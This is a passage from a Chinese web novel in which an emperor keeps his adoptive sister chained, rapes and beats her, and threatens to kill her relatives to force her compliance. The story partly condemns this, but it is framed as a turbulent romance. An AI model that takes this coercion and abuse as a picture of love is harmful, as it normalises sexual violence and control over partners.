原先佩芝还预备着借机替皇后说两句好话,适时劝一劝皇帝,请皇帝别做得太过了,娘娘素来纤弱,她受不住的,她会被您弄伤的。
可这时见到皇帝脸色不好看,她就算有几分心疼皇后也不能多说什么了,只好放下东西便躬身退下。
周奉疆端起那盛着参汤的玉碗,在榻上捞起媜珠的身子,扣着她的下巴强行打开她的牙关,把一碗参汤连着她口中他的血一块灌进了她腹中。
媜珠挣扎未果,只能将一碗参汤如数饮下。
周奉疆又折回茶几前,从盘子里捡了两块参片塞进媜珠口中叫她含着,是强逼着她提起几分精神、不准她昏睡过去的意思。
他要她保持清醒,记住所发生的一切。
媜珠可怜到连睡都不能睡下,目中的愤恨之色从始至终就没消退过。
周奉疆揉了揉她快要断掉的腰肢:
“不错,这回除了那……朕的血也喂到你嘴里了,不是说男子精血养人么?配上这高丽王献来的高丽参,朕看看于你有没有效用。”
他压低声音,语气轻浮:“你若觉得有用,朕以后日日喂你多吃些。”
多吃些什么?
是高丽参还是其他的什么?
他没说。
直至彻底结束时,周奉疆才后知后觉地意识到,媜珠这一次确实不一样了。
——这一次她从头至尾都没有屈服顺从过他半分。
哪怕在这场漫长情事的后半场,她已经吃不消受不住了,可她宁愿咬牙强忍下去也不肯开口求他半句。
她以前不是这样的。
以前就算有他们在争吵时他动粗强迫她的时候,起先她不情愿、和他又挣扎又哭闹,可等到实在承受不了了,该低头求饶时她也丁点不含糊,该哭诉就哭诉,会双手攀附着他的肩头和他细细求饶,说她真的不行了,求他放过她。
而这一次,他折磨她的时间、次数,都是以往的翻倍还不止,她又正是虚弱无力的时候,她竟当真不愿和他求饶半句。
就真恨他恨到这个份上了么?
就真的这么有骨气?这么刚烈?
周奉疆在起身下榻穿衣时想起了这个问题。
情爱之事,总归是情欲相伴着爱意才最有滋味的,有欲而无爱,纵使身体餍足了,心情还是极差,心底的那一块也是空荡的。
周奉疆此刻就是这般。
他回首瞥了眼榻上那终于累到彻底昏睡过去的女子,心头五味杂陈,最终还是恨意居多。
如若实在没有旁的法子叫她回心转意,他也只能期盼着来日方长了。
现在他们最不缺的就是世间。
他慢慢跟她磨下去,一年、两年、三年、五年、十年、一生……
她总有屈服的那一日吧?
其实他们都不愿意承认,面对彼此的埋怨与谴责,他们竖起浑身尖刺来争吵,吵来吵去,他们心知肚明对方说的也是对的。
媜珠指责他的残忍、指责他的欺骗、指责他对她的掠夺与侮辱,但她又不愿承认,周奉疆所说的那些她无力反驳。
似乎他真的是她最好的归宿,是他庇佑了她和她的母亲、乃至她的外祖赵氏一族。
这的确是她在周家别的所谓手足兄弟们都不可能做到的。
周奉疆恨媜珠不爱他,恨媜珠不和他站在一起,但媜珠怨恨他对她的强占,他也寻不出理由来面对她。
既然无法面对对方提出的问题,那他们就只能不停地继续争吵,假装充耳不闻对方说出的每一个字,一心沉浸在自己的世界里,委屈地诉说自己的不满。
她只会不停地问他,你为什么要对自己的妹妹起侵占强夺之念?你为什么要欺骗我?为什么一定要我来做你的女人?
而他也只能继续重复着说,他待她有多么多么的好,除了他之外,再无人可如此爱他,为什么她不选他?为什么在她的母亲和外祖家都坦然接受了他给出的好处后,她还不顺从他?
……
为什么?凭什么?
我为什么要顺从你的心意?
你凭什么不满足我的要求?
吵来吵去,吵到最后也不会有人愿意先低头,只会不停地埋怨对方。
谁都只讲自己占理的那一面,谁都不愿稍微承认一点自己的错。
或许惟有随着时日渐长,才能最终消磨这些隔阂么?
第59章
即便是早先便在心中做好了心理准备的佩芝,在她去收拾这床帷之间的一大片狼藉污秽时,也还是被吓了一大跳。
即便她也觉得媜珠是有几分自作自受、咎由自取,然陪在媜珠身边侍奉她的时日长了,媜珠素性温柔和善,佩芝也难免会偏向她几分,心疼她些许。
她命一个小宫娥过来,同她一道将那根本没眼再看的锦被枕褥全都挪走,换上一床新的来铺上,又叫人端来热水给媜珠擦拭身体。
媜珠这会刚从那仿佛无休无止的折磨中解脱出来,也顾不得满身脏污没有清理过,就这么随手捞来一截被子遮掩身体,蜷缩在大床的一角沉沉睡下了。
佩芝给她擦脸时,发现她眼睫上还缀着两滴欲坠不坠的泪珠,眼眶也哭得一片红肿,其情其状分外凄婉惹人怜惜。
她是当真又遭了一场大罪,纤细白皙的身子上没剩一处好地方了,处处遍及男人的指痕或是吻痕,也不知到底都是用些什么姿势折腾出来的。
若说女子胸乳和腿根之间会多有些痕迹也就罢了,怎么……怎么连她双足的足背上也零星还有几个吮过的痕迹?
还有那臀瓣上,也被男人用戒尺抽打得红肿不已,轻轻一碰就叫她疼得直抽气。
佩芝手中的巾帕擦拭到她腹部,见她腹部有些隆起,摸上去也有几分涨涨的,而她稍稍用些力气往下按,昏睡中的媜珠便有些不安稳地痛苦蹙起眉来,轻声细吟了两下。
终于佩芝见她这样也是可怜,遂又取来一张干净帕子在她身下垫着,在她腰腹间的穴道处使了巧劲揉按两下,帮她渐渐解脱了出来,柔白的小腹又恢复了往日的平坦。
媜珠的睡颜也恬静了下来,她在枕榻间翻了个身,轻抿了两下唇瓣,总算是能睡得安稳了。
或许是臀瓣处的伤仍是叫她难受,平躺还是侧卧都令她难受,媜珠阖着眼睛在榻上翻动了两下,最后竟是像只兔子一般趴着睡。
她是睡好了,只是方才垫在她臀下的那张巾帕上大滩大滩的污秽简直让人没眼细看,佩芝撇过头去不敢细瞧,胡乱包起来一块收拾了。
做完这一切尚不算结束,她又取来好几个装在瓷瓶里的药膏,给媜珠浑身上下的伤处涂抹了一遍药膏,涂完后给她盖好绣被,这才轻声退下,留媜珠一人在此间休息。
——皇后是不会被废的。
从天子的銮驾上退下时,这个念头无比清晰地出现在佩芝的脑海里。
即便这一次这个女人犯了这么大的错,就连倪常善之前都在担心她会不会真的触怒陛下而因此失宠被废,但这一刻,佩芝清楚,皇帝终究还是放不下她的。
他已停了那男子避孕的凉药,现在还如此频繁地宠幸媜珠,是真心期盼媜珠还能怀孕为他生下一个孩子的吧?
宫中开始修旧时太子所居的东宫殿宇,在出来追皇后之前,陛下还抽空亲自给那殿阁更名为“延和殿”,是预备着三年五年里会有一位小储君住进去么?
除此之外,长安城里地段最奢贵精致、占地广阔的府邸,是前朝时一位秦王的王府,自陛下登基以来,那府邸就一直空置,并未赏赐给宗室的王爷公主们所居。
倪常善从前私下还和他们猜测说,他早就料到那长安城里除了宫城之外最好的地方,是陛下留给来日皇后腹中所生的小公主长大成人后所居的。
他干儿子倪赐清起先不太肯信,说干爹您这想的也太长远了,就算等小公主降生到长大成人出嫁,这中间少说还有个二十年,二十年里保不准还有多少变故呢。
倪常善当即就叫他签字画押来,把他一年的俸银赌在这。若是日后此府邸真归皇后所生嫡公主所有,那倪赐清一整年的俸银就归他所有了。
陛下不仅空着那府邸,甚至还把边上的两座宅院一并空下来叫人打通了连城一家,那府邸被重修后奢华仿若天子行宫,也惟有最受陛下宠爱的公主才能居于此。
府邸极为临近魏宫宫门,若小公主想要回宫看望父母,亦十分方便,这也是陛下把那地方空出来不给旁人住的主要原因。
皇帝从一开始就盼望着她能为他生育儿女吧?
他是很想要属于他们的孩子的。
媜珠这一觉足足睡了两天两夜才醒来。
她迷迷糊糊地睡醒时,周奉疆正单膝跪在她双腿之间给她那最见不得人的红肿破皮损伤处继续上药。
粗粝的指尖上即便抹了一层湿润软滑的药膏,但当触及媜珠最为娇嫩的那处皮肉时,痛楚之感仍让她疼得发起抖来。
宫中秘制的药膏纵有奇效,可媜珠身子虚弱,又昏睡两日未进饮食,她没吃东西补补身子,药膏再有用伤口恢复得也慢上许多,这会儿本来肿着的地方也还是肿着的。
当媜珠醒来后意识到周奉疆再对自己做什么时,怨恨、羞耻、恼怒,种种心绪再度涌上心头,尤其是他还正亵玩似的碰着她那处地方,她一声不吭地躺在榻上伸腿踹他,声音虚弱地有气无力又分外尖锐:
“混蛋,畜生,你怎么还不去死!”
周奉疆啪一下放下手里盛着药膏的瓷瓶,腾出一只手稳稳攥住了她伸来的足,还意味不明地在她足背上摩挲了两下:
“你是想叫朕把你这两只脚都用金链锁起来?现在还不知学安分几分!看来还是朕待你太好了,把你惯得不知天高地厚!”
是了,他一开始锁在她脚踝上的那根锁链到现在还没去掉。因脚踝上锁了东西,不便于她下身穿什么衣裙,所以佩芝只能给她在上身随意披件宽松柔软的外裳,用一根系带简单束于腰间。
只要将那根系带轻轻一抽,她的身子便会如剥了壳的荔枝般露出白嫩的果肉供人食用。
倒是便宜了男人随时剥去她的衣裳,对她行那事。
媜珠含恨望向他,那扬起的脖颈每一分弧度里皆是她的桀骜不驯。
周奉疆本来训斥她也只是随口一说,还没动真格地生她什么气。
反正她骂来骂去也只有那两句话,更没有几分杀伤力。
他念她承欢后辛苦,没和她计较,转身去取了搁在一旁的一碗鱼肉羹来喂她。
媜珠昏睡时未进饮食,这会儿醒来后说她不饿自是假的,可她更不愿吃半口周奉疆端来的东西,还念着刚才的怒气未消,不声不响地等周奉疆把鱼肉羹都端到她面前来了,她猛地一下把碗给打翻,把一碗鱼肉羹全挂在周奉疆胸前的衣袍上了,其上以金银绣线所制的龙纹更是被弄得一塌糊涂。
成,端来喂这只真凤凰的鱼肉,全被她喂给那假龙吃去了。
周奉疆脸色自是一下变得极不好看,一面是他身为帝王的颜面被她一再挑衅,让他在他的臣下奴仆们跟前也有些没面子。
——毕竟等会他这副模样出去,倪常善和佩芝他们见了,谁会猜不到这是媜珠的杰作?
唯有她敢在他这里这么放肆。
她也只敢这么对他。
除了他,谁还这样惯着她?她的旧情人张道恭?她父亲、母亲还是那些庶出手足兄长们?
恐怕没一个人买她的账的。
自己面子挂不住还是小事,他更气的是媜珠还是这死样子半点不改,仿佛他对她的教训当真一点用也没有。
周奉疆气得将那碗扔到地上砸碎,冷冷起了身:“不知好歹的东西,朕罚你也无用,和你讲尽道理也没用,是不是要朕再把你这两只爪子也用锁链绑起来你才老实?”
媜珠被他吓得哆嗦了一下,可气势还是不肯退让的:“我不贪图你的好处,你不如杀了我让我解脱!”
周奉疆更怒:“你以为朕不敢杀你还是舍不得杀你?你不过是心知肚明朕有多宠爱你放不下你,所以你才敢在朕面前猖狂!朕若真心想整治你,也有的是法子,
——现下就能让人把你那些弟弟妹妹们全都绑过来,再把你赵家的舅父舅母表兄弟表姐妹们也捆过来,你对朕说一个不中听的字,朕就在你面前砍下一人的脑袋来扔到你床上去,朕保证能立竿见影就把你这养不熟的白眼狼治得服服帖帖!”
媜珠面色瞬间惨白起来,唇上的血色也退得一干二净:“你,你,你……”
“你什么你!你对你的丈夫和兄长就是这样说话的吗!朕告诉你,朕不会这么做,因为朕还宠爱你,还将你当做来日欲白头偕老的妻子,朕不想把事情做绝,那你呢?你对朕的诚意和爱意呢?你就只知道这么作下去胡闹是不是?”
媜珠不说话了。
周奉疆静静凝视了她片刻,冷冷地拂袖而去,也没再和她多说什么。
过了一阵子,佩芝又给她端上了一桌子精致的饭菜,媜珠倒是一声不吭地吃了。
饭毕,佩芝给她端上一碗汤药,哄她服下。
媜珠凑近闻了闻,摇头说不喝,任佩芝怎么劝也无用。
——她猜到那是碗坐胎药。
从前父亲还在世时,母亲一直期盼为父亲生下嫡子,所以常年饮用这一类汤药,纵使不同的医者开出的方子剂量不同,可总归都是那么几样药材,味道闻起来也是大差不离的。
媜珠不肯喝。
佩芝左劝右劝也劝动不了她,只能轻叹一口气,瞥向屏风后静坐着的皇帝。
皇帝起身突然出现在媜珠眼前,与她冷笑道:
“不喝就不喝罢,到底女子受孕也不是光靠这汤药的。——对了媜媜,你猜猜,你这些年怀不上孩子是为什么?呵,是朕从前心疼你,舍不得让你生,所以朕常年喝着那男子避孕的凉药,免了你的生育之苦。如今朕不会再心疼你半分,朕已停了那药,往后你夜夜为朕在龙床上暖床,早晚有你怀上的时候。”
“深宫日夜漫漫,朕怕你孤单。你既如此不驯,那就一窝一窝地慢慢给朕生孩子去吧。”
媜珠一下瞪圆了眼睛看着他。
第60章
周奉疆怀疑媜珠眼下果真是疯魔了,否则,她为何会癫狂到不论他跟她说什么,换来的都是她那恨入骨髓一般声嘶力竭的顶撞?
一如此刻,当听到他提起这个有关孩子的话题后,媜珠又气得在榻上摔了汤碗,一碗温热的坐胎药四溅泼洒在地上,还有些又溅到他的龙袍上去了。
这是他今日被她发疯弄脏的第二件衣袍。
媜珠披头散发地以手指着他,情绪激动,指尖发颤,又是要哭出来的样子,眸中湿润:
“你去死……你怎么不去死……我恨不得你现在就去死!”
她声声含泪,字字泣血:
“你是不是觉得你真的很爱我?你把这些事情告诉我,是不是还希望我对你感恩戴德,厚谢你对我的宠爱?我好好的清白女孩,从未行差就错半步,一生未曾有水性杨花放浪形骸之举,却在父亲病逝后被你无故强占,你趁我失忆,设计强娶我为妻,又在数年中令我蒙受着这等自以为自己不能生育的屈辱与忧虑,使我日日不得安心!周奉疆,你怎么不去死!”
哪怕她真的是他的妻子,在这几年的婚姻里,她也有她说不出的委屈与不快,
“因为我受了你的恩惠宠爱,因为我以为我是你的妻子,多年无所出、未能给你生育一儿两女的,使我婚后时常郁郁寡欢,内心苦闷。我将这一切都揽在自己身上,疑虑是自己的原因,我害怕你的责怪,害怕你臣下的不满,害怕百姓的议论,我常年求神拜佛,跪拜送子娘娘,求上苍赐我子嗣,这些你眼睁睁全看在眼里,可是你却不闻不问,对我的痛苦熟视无睹……你明知道这不是我的错,你从不和我解释,你任由我在痛苦中不得脱身……”
“你饮着男子避子的汤药暗中不让我受孕,你觉得我会当真以为是你爱我、不忍我受生育之苦么?不!还不是因为你自己心虚、因为你的一己私欲!我的失忆之症最受不得刺激,你是怕怀孕分娩一事会刺激到我的身子,使我想起往事!我若是什么都想起来了,当然不会再那样乖顺地伺候你、满足你的那些下流癖好!你为了自己的兽欲、舍不得让我恢复记忆,只能尽量避免让我生子!”
“周奉疆,你就是个畜生!你告诉我,我到底哪里对不起你?我为什么要遭受这样的屈辱折磨?为什么?为什么?”
“——你不会认真回答我为什么的,连我自己也不知道为什么。我知道,你只会跟我说,反正在你身边总比在张道恭身边好,反正你将我保护得所谓很好,所以我没有怪你的权力。若我做了张道恭的女人,我现在不是死就是在亡国逃难时被一堆猥琐龌龊的男人奸污淫辱,总之都是没有好下场!现在我跟了你,我能活得好好的,我也不用伺候一堆别的男人,只要陪你一个人上床就行了!我过得可当真太好了!我要对你感激涕零毕生回报你的恩情!”
虽然刚刚吃了点东西填饱了肚子,可媜珠这时候还是极虚弱提不起多少力气的人,这样声泪俱下地说完这么多话后,她胸口剧烈起伏着,情绪激动,眼神憔悴而哀伤,软软地靠回了床头栏杆上,再没有多说一个字的精神了。
她说的那些,未必不全是周奉疆心底的阴暗想法。被她说中自己心事,周奉疆本是暴怒的,可一忍再忍之下,顾忌她的身子,他最终一言不发地又拂袖而去。
佩芝上前搂着媜珠的肩膀轻声安抚她,劝她冷静些,多少顾念自己的身子,何必这样总是动怒,女儿家年纪轻轻的,何苦这般。
媜珠闭上眼睛,滑落一行绝望的泪珠:
“……我现在觉得,我这个人,活在这个世上,一点意思也没有。”
“当年他杀我们周家那么多人时,为何不顺手将我一道杀了?这样于我反是解脱……”
她对自己的未来看不到丁点希望。
原来看似陪伴她多年的兄长,甚至是那个看着她从出生到长大的兄长,其实一点也不懂她。
——作为冀州侯周鼎之女,俪阳公主嫡孙女,馆陶县主周三娘子,她过去想要的生活是怎样的?
未必多么波澜壮阔,也不要如何恢弘盛大,更不必何等何等的荣华富贵。
在她自幼所受的教养里,她被告知她长大出嫁为人妇后,要做一个贤良淑德的妻子,一个体面的贵夫人,同时,她也理应受到丈夫及家中所有人的尊敬。
她会很爱她的丈夫,一心为丈夫考虑,替丈夫操持家事,生育儿女。
她被人告知女子不应善妒,所以即便她的丈夫妾室如云,有一堆庶子庶女,她也不会怨恨不满,她会按照礼数和家规去管理丈夫的妾室们,也会视如己出一般疼爱庶子庶女。
她被人告知女子要勤俭持家,不得奢靡,所以即便出嫁后丈夫并非显贵,不能给她锦衣玉食的生活,她也能泰然自若地接受这一切,并且力所能及地削减自己的开销支出,尽可能减轻丈夫的压力。
同理,她所做的这一切,应当为她在婆家换来公婆的称赞,婆家人的喜爱,尤其是她丈夫的尊重。
他们理应夫妻和睦,相敬如宾,琴瑟和鸣。
他不会用那些下作的荤话来亵弄她的身体,不会对她呼呼喝喝,大呼小叫,满口训斥,更不会随心所欲地用她的身体来泄欲,弄伤她、逼她顺从他的心意和他同房。
但周奉疆现在是不会懂这些的。
他所学会的生存逻辑,很大程度上都是负面的,是一些极端情况下的歪理。
——他给了她什么,他就能要求她回报什么。
至于他给她的那些,锦衣玉食,珠宝首饰,荣华富贵,尊荣显要,专房之宠,一心一意,——到底是不是她真正需要的,他可不管。
他给她付出了,他就必须从她那里索要回他想要的东西。
大抵是害怕这对帝后再无休无止地闹起来,于是乎,倪常善和佩芝两人心照不宣地分头劝起来,都劝皇帝皇后这几日暂且少见面为好,给彼此一个冷静的时机,兴许冷静几日后,再见面时说话就好说了呢?
周奉疆一再退步,思及他去一次媜珠就闹一次的那副架势,怕她早晚有一天自己也要把自己给气死了,遂一连数日未曾再出现于媜珠面前,想叫她静心细养身子。
他虽不出现在媜珠面前,可媜珠一日三餐、一举一动,包括她一顿饭主动伸了几回筷子去夹菜,周奉疆都一清二楚。
因出门在外皆乘马车銮驾,而最尊贵宽敞的天子銮驾只有一辆,周奉疆将那处留给媜珠后,他自己还得偷偷前往后面的另一驾马车上处理每日的政务。
——为什么要偷偷的?
到底他是天子,他在他的臣下们面前想要几分面子,也不奇怪吧?
他总不好意思让人指着议论,说他和皇后闹了不快,最后他把自己的地方腾给皇后,自己没声儿地溜出去另找个地方待。
传出去,他的颜面往何处搁?
岂不是又要叫沿途州郡百姓传为笑谈,争相议论。
他们眼下这是在从夔州回长安的路上。
当日天子忽然一声不吭地从长安连夜驱驰突现夔州,朝廷给天下人的解释便是声称皇帝他是去夔州迎南楚亡国君臣们的。
自张道恭于龙编县被俘后,南楚君臣宗亲们便被邓元益通通关进笼子里,叫人快马加鞭运回长安。而从夔州渡江,就是回长安的必经之路。
所以皇帝会突然出现在夔州受南楚君臣拜见,也不算奇怪。
这时候还免不了要把周二娘子周婈珠拿出来当个借口,朝臣们替皇帝找理由搪塞世人说,淑妃乃先帝长女,陛下的长妹,陛下感念与先帝的父子之情,怜惜淑妃因嫁与张道恭为妃而流落在外多年,此番前往夔州,就是看在先帝的颜面上,为了迎淑妃回长安的。
世人闻之,定要叹皇帝还是重情重义。
实则且不说如今的周婈珠被人软禁在昏暗的马车中一路押解回长安,就是昔日在冀州侯府,多少年来她也没和周奉疆面对面说过两句话,哪来什么狗屁的手足情深重情重义。
也是亏得她被关在马车里不知道这些,她若知道,少不得还得疯疯癫癫嘴里叽里咕噜地念些蛊咒来骂周奉疆早死。
在回长安的一路上,周奉疆强忍着不再去搭理媜珠的脾气,正逢南楚国灭,连带着衍生出的关于一堆人的处置问题,还有周婈珠勾结大魏朝臣的琐事需要清算,周奉疆也确有够他心烦意乱忙一阵的事情。
作为一个皇帝,其实他倒是很清楚自己不擅长之处在哪里。
打江山容易治江山难,让他排兵布阵领军杀敌他容易,给他二十座险峻城池让他去逐一攻克也并不复杂,然,做了皇帝之后,他实则并不善于处理这些人和人之间的复杂问题。
比如说,什么人该杀什么人不该杀,什么人和什么人之间有什么关系,他该给谁什么样的官职、该赦免哪些人、惩罚哪些人……
例如此刻南楚降臣里,他随手所指要诛杀一个老酸儒,立刻有臣下向皇帝进言,说这位前朝老臣曾经出身何地何地、曾经在哪家书苑里做过讲学的夫子、如今朝廷里有多少效忠陛下的官员都曾在那家书苑里读过书,都曾听过那位老夫子讲学,和他有些交集瓜葛,陛下您杀他事小,可才立国之初,万一因此引起长安那些朝臣们杯弓蛇影、疑神疑鬼的恐慌,那可就没有必要了。
周奉疆皱着眉头思索片刻,他倒不是真怕了这老匹夫,更不是真怕长安的部分官员因此恐慌害怕,只是实在是累到觉得多一事不如少一事了。
“替朕拟诏赦他死罪,说朕宽宥文人,不予深究他罪状;等回长安后,过个一年半载再把他毒死就是了。”
周奉疆最终寒声令道。
名为宽容仁慈,换来天下文人称颂;实则照杀无误,对你毫不留情。
这就是所谓的权术?实在可笑。
周奉疆在忙碌的日子里,媜珠仍是那半死不活的样子蜷缩在床榻上,每日几乎连下床都很少,连吃饭也是佩芝给她端到床边上的。
她总是一个人静静地待着,带着她脚腕上的那条金锁链,没有人知道她整日在想些什么。
但可以肯定的是,她并不快乐,不仅不说话,连笑容也再没有过了。
经过沿途州郡时,皇帝总会吩咐人去采买各个州郡县城的时兴有趣的玩意儿来,献到皇后面前,给皇后解闷,讨皇后欢心。
可惜不管什么东西拿过来,媜珠只会做一件事。
——起身,走到窗前,开窗,把东西丢出去。
周奉疆这几日不敢来见她,不就是听了倪常善和佩芝的“谗言”,说他不去扰媜珠便能叫媜珠心情好些么?
结果这些丁点用处也没有,她还是那模样,又是寻死觅活的做派。
周奉疆见不得她如此。
昔年她被他逼到坠楼失忆之前,她就是这个样子。
每日一个人静静待在房内,不出去,不说话,不笑,不开心,给她什么她不是摔了就是扔了。
既如此,他还不如日日和她宿在一张榻上,夜夜上她来寻欢呢。
他还委屈自己什么?他为什么要委屈自己?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
60-70
第61章
媜珠提不起精神来,一方面以她当下的境况,肯定无论如何都是高兴不起来的;另一方面,还是因为那一次同房被他折磨得太过,不论是臀瓣上还是那里的伤处,都断断续续使她痛苦了许多天才渐渐愈合。
她身上带着伤,连坐立也是难安,总会扯动到某些地方的酸痛,所以她才总是躺在榻上懒得动弹。
佩芝见她这样子也是真的可怜,凄凄惨惨的,总像只离了母兽后在外受了伤的小兽,带着满身的伤痛呜呜咽咽地蜷缩在一处角落里自己疗伤。
见不到周奉疆时,她看向佩芝或是其他过来伺候的小宫娥们的眼神里是没有太过激烈的情愫的,没有怨恨、愤怒或是不屈。
她的眼神是平静的,哀伤的,有时总像是一汪死去的池水,它枯萎了,死去了,这碧波一般的池水里什么也没有,没有锦鲤浮游,也没有开满一池摇曳的芙蕖,纵有一池的碧水,可它已经死了。即便你再想仔细在里面翻腾出什么东西来,也只能捞到两三截腐烂的枯荷的茎。
那样静静的哀伤,时而又会显得她分外茫然无辜,似乎她真的只是一只误入牢笼的兔,她仍然不明白自己为什么要遭受这些,为什么她没有自由,为什么她的脚腕上被人锁上了金链,为什么她要衣不蔽体地待着这里遭受那个男人的强占掠夺。
佩芝时常怀疑,若是再这么耗下去,或许她真的会跳第二次楼。
——对,跳楼。想到这一茬,佩芝恍然惊醒,也许这才是皇帝将她用锁链绑起来的真正原因。
他是怕她再寻死。
他让她只着一件纱衣寥寥蔽体,让她整日披散着头发不饰妆容,将那些利器包括簪钗等等首饰都拿到远处去不让她碰到,原来也有这个用意在里头。
若她真的再寻死一次,大概皇帝也彻底要被她弄疯了。
媜珠当年在冀州侯府里坠楼重伤的那一次,佩芝也是见识过的。
那天夜里,据说是皇帝又去她的绣楼里寻见她,和她说话,不知究竟发生了什么,总之不出半个时辰,听得三娘子的绣楼内外便是一阵惊呼,三娘子衣衫不整地坠了楼。
在她坠楼后病重昏迷的时日里,皇帝衣不解带寸步不离地守着她,甚至一连数日都没有主动多说一句话,生生把自己也熬瘦了一圈。
他唯一说过的几句话,也是应付养母赵夫人的问责。
赵夫人斥问他,是否是他欲强占她女儿行那禽兽之事,这才导致她的女儿不堪受辱自尽。
他疲惫地看着赵夫人,轻声说他没有。
他只是想劝妹妹留在冀州、留在他的身边,他没有想逼死妹妹,他也没想过妹妹会这样刚烈。
赵夫人看着他,恨恨咬牙,最终还是没有再为此事叱骂他,她指着冀州城南的魏州方向对他说:
“今你父亲刚亡故,南边的魏州节度使视我冀州无人了,更未将你这年轻人放在眼里,率兵来攻,又欲围我城池,你在这守着她有什么用?不如去替我们冀州守城!”
其实当时的情况,即便周奉疆本人不去前线督战也没什么大问题的,但偏偏叫赵夫人这么一劝后,他真去了。
这一去还出事了。
不是他出事,和魏州节度使一家老小上下出了事。
大抵是裹挟着怒意和无法发泄的对媜珠的担忧与心痛,周奉疆领兵一路出冀州打到了魏州城下,攻城半月将魏州城打下,入城后他便屠了魏州节度使全家,还将人头悬在城墙上示众。
自古攻城掠地,一般默认的上策是劝降,通过派遣极为富有谋略的幕僚说客前去城中游说,晓之以情动之以理,使得守城将士们心甘情愿开城投降,己方便可不费一兵一卒夺得城池。
中策是围城,什么也不干,就是派个几万人马将城池围起来,靠着熬时间耗尽城中的粮草,使对方不战而败。此法虽看似简单,然唯一的缺点就是耗时太长,普通的将领根本静不下这个心来干等着。
最下策么,就是上来便直接火拼硬攻,各种云梯战车投石楼通通架上,靠着不是你死就是我亡的架势,在短时间内以大规模流血的方式夺得城池。
在军法谋略上,冀州的几任周家家主皆被认为是粗俗蛮横、简单暴力的兵家学派。
他们从未使用上策得到过一座城池,从来采取的措施不是围就是打。
只不过区别在于是先围还是先打。
周奉疆的养父周鼎一贯的做法是先围城,围而不见成效就打,打而不克再继续围,直到把自己想要的地盘夺到手再说。反正只要动手了,他就永远不会使自己空手而归。
周奉疆的做法比他养父更为凶残。
他习惯直接上手就打,一时打不下就继续打,两次打不下就三次打,反正也是必须要把自己想要的东西弄到手才行,不论付出多大的代价他都不在乎。
而他对媜珠呢?
劝,围,打,上中下策,三种法子他都用了个遍,可是哪种也没有用。
起先他是“劝”。在周鼎死后,他让人好言好语地去劝媜珠,也是对她说尽了好话、给足了让步、做出了承诺,希望她能放弃张道恭,留在他的身边。
可是不行,媜珠是不听劝的。
那他只能再“围”。他将媜珠关在冀州侯府里,不让她去见张道恭,不让她走,想着把她围到彻底绝望了,也许她便会妥协。
然这还是无用,媜珠想尽办法要逃出他的囚笼,果真有一次趁着他不在家,便穿上嫁衣逃出去要去嫁张道恭,还要和张道恭一起跑去洛阳。
围她围不住,他最后惟有动真格的“打”。
他追了上去,把媜珠追回来狠狠教训一番,又将她那未婚夫痛打了一顿,强行拆散了他们。
再一次将她关回冀州侯府时,他就是“劝”“围”“打”三个法子一起上,一边劝一边围,同时她若是还不听话,他也不介意再教训教训她。
——最终,他得到的结果就是媜珠宁愿坠楼寻死也不愿屈从他。
事后很多年,周奉疆还在不停地思考,思考他到底是哪里做的还不够,为什么他穷尽办法也换不回媜珠的真心?
为什么?
因为你将她当做一件物品,当做一座可以被你攻克占领的城池,当做你的战利品。
在你换着法子逼她的时候,你有没有想过,她确实是你从出生看着长大的挚爱?是你一生中最重要的宝贝?
你怎么舍得的呢?
是为了自己的欲望么?为了快点得到她,占有她的美丽与温顺,为了在她身上得到享受,所以你不停地逼她,是么?
看着她生生从楼上坠落,看着她纤细的身子像一只碎了翅膀的蝴蝶般静静躺在地上时,你有没有后悔过?
当年她刚刚出生后,被给赵夫人接生的产婆们用襁褓包裹起来送到外头,在冀州侯周鼎看过她后,你便是第二个见到她的人。
那时,你看着她初生到人世间那孱弱娇嫩的模样,你在心底立誓,来日的自己一定会出人头地,一定会永世呵护她、保护好她。
明明你对自己说过,她什么都不需要做,只要安安静静地待在那里,你都会爱她的。
后来呢,你忘记了吗?
事实证明,男人的诺言的确是不可靠的。
大部分时候,青年时对自己心爱的女人许下的承诺,到中年这个女人人老珠黄之时,什么山盟海誓都抵不住他要另觅新欢的那颗心了。
而幼年时对一个女孩儿许下的承诺,待到自己青年时大权在握、志得意满之日,这也是不作数的。
她不能什么都不做,——他要求她为他付出,要求她爱她。
譬如此刻,当他时隔多日后再度于深夜出现在媜珠榻前时,便是要求媜珠与他同房。
他是来找她寻欢的。
他要求她必须和他行房交媾。
媜珠见他过来,依然是一动不动,不理不睬,甚至她只用眼尾的余光瞧见他的身影后,连抬抬正眼看他一下都不肯。
他立在她榻边,唤她起身,说话时语气尚算温和:
“过来,给朕宽衣侍寝。”
一切的宁静止于他开口说话之时,当他说完第一句话后,媜珠便做好了要发疯与他争吵的架势了。
她一手支在软枕上,在榻上撑起自己的上半身瞪着他,然还不等她说什么,周奉疆将一指轻轻按在她的唇边,打断了她。
“朕这几日对你的忍让也够了,现在朕要你侍寝替朕纾解,你别在这时候做让朕不高兴的事、说让朕不高兴的话。”
“给朕瞧瞧,那伤处可痊愈了没?”
周奉疆不疾不徐地伸手勾住她宽松寝衣的腰间系带,轻轻一扯,这纱衣遂被轻易剥落,滑下她的肩头,露出这剥了壳的荔枝里面雪白柔软的果肉,满身雪艳无瑕,仿若一块臻品美玉,可以置于手心细细把玩。
媜珠牙关发颤,双腿下意识交叠起来,不让他去看。
她还是不肯配合。
周奉疆若有所思地在脑海里思索了一番,与她道:
“朕原以为你有多在意你周家的手足姊妹们呢。你的姐姐弟弟们穷尽心思为你安排出逃,如今你已被朕抓回,难道半点不在意你的姐姐弟弟们会有何下场?——上一个在朕面前造次的周十五郎,是何死相,你可还记得?”
十五郎……
媜珠唇瓣微张,心脏抽痛起来。
还有二姐姐、穆王他们……
媜珠神色顿时紧张起来,连忙追问道:
“我二姐姐,二姐姐呢?张道恭都被你抓回来了,那我二姐姐呢?二姐姐在哪里?穆王、穆王他……他怎么了?”
周奉疆微微一笑:“媜媜,你做了这么多年人妇,应该懂得男人刚在榻上发泄过后的心情是最好的,这时候你和朕提什么要求,也许朕都能答应你。”
这已经算是明示她了。
帷帐内安静了下来,静到他们连彼此的呼吸声都可以听见。
媜珠的呼吸越来越乱,而他则愈发急不可耐。
最终,媜珠垂首望向大床的一角:“我不要带着这个链子,我不喜欢。”
周奉疆说可以,同房时他可以暂时为她解开,但作为交换的代价,事毕后她要乖乖去喝坐胎药。
媜珠也默认了。
他从袖中摸出一把小小的钥匙,将她足腕上的镣铐解开,媜珠一脚就把那金锁链和镣铐一起踹下了床,动作中还带着几分愤恨。也许她恨自己为什么不能直接踹在他身上罢。
给她取完锁链后,他仍旧站在床边不动,暗示地看着她。
